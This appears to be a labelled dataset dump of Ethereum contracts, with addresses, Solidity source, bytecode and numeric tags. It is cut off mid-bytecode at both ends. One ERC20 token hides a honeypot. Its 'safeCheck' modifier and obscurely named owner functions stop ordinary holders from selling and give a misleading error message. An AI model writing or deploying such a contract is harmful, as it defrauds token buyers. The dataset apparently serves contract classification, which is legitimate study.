ffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561136a57fe5b818303905092915050565b600080828401905083811015151561138957fe5b809150509291505056fea165627a7a723058206f925fa03d12fe1cfc4acca065f28b24c72a4d2c1ce9ed414b841e4541dfbe3f0029
[ 38 ]
0xf28d3e573fd2c01002502504e36093ce6a01bf92
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30153600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x08E868C2692343D0159502D5A5Aab19C8AAd8c01; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a7230582088ceafb9736d8920aedbb586c188a311acac73a086c24cf573c53f0aaefe46530029
[ 16, 7 ]
0xf28d4c557bb585194d80ab4d7e93931ace1bec37
pragma solidity ^0.5.2; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract BINU is ERC20, ERC20Detailed, ERC20Burnable { constructor() ERC20Detailed('Beagle Inu', 'BINU', 0) public { _mint(msg.sender, 500_000_000_000); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103bf578063a457c2d714610442578063a9059cbb146104a8578063dd62ed3e1461050e576100cf565b806342966c68146102eb57806370a082311461031957806379cc679014610371576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc610586565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610628565b604051808215151515815260200191505060405180910390f35b6101c561063f565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610649565b604051808215151515815260200191505060405180910390f35b6102696106fa565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610711565b604051808215151515815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b81019080803590602001909291905050506107b6565b005b61035b6004803603602081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107c3565b6040518082815260200191505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061080b565b005b6103c7610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bb565b604051808215151515815260200191505060405180910390f35b6104f4600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610960565b604051808215151515815260200191505060405180910390f35b6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610977565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b60006106353384846109fe565b6001905092915050565b6000600254905090565b6000610656848484610b5d565b6106ef84336106ea85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6109fe565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107ac33846107a785600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d4790919063ffffffff16565b6109fe565b6001905092915050565b6107c03382610d66565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108158282610eb8565b5050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b15780601f10610886576101008083540402835291602001916108b1565b820191906000526020600020905b81548152906001019060200180831161089457829003601f168201915b5050505050905090565b6000610956338461095185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6109fe565b6001905092915050565b600061096d338484610b5d565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a7257600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b9757600080fd5b610be8816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d4790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610d3657600080fd5b600082840390508091505092915050565b600080828401905083811015610d5c57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da057600080fd5b610db581600254610d2790919063ffffffff16565b600281905550610e0c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b610ec28282610d66565b610f5b8233610f5684600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6109fe565b505056fea265627a7a72315820e0e3d140b9203f6dd03cb46d8dbbfc6b8d69a97b45ade8ee47d28acd3d22cca464736f6c63430005110032
[ 38 ]
0xf28eae18ba5a27c63b5f6b9aaa1ebc0c9affba4f
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_DVG(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473fffffffffffffffffffffffffffffffffffffff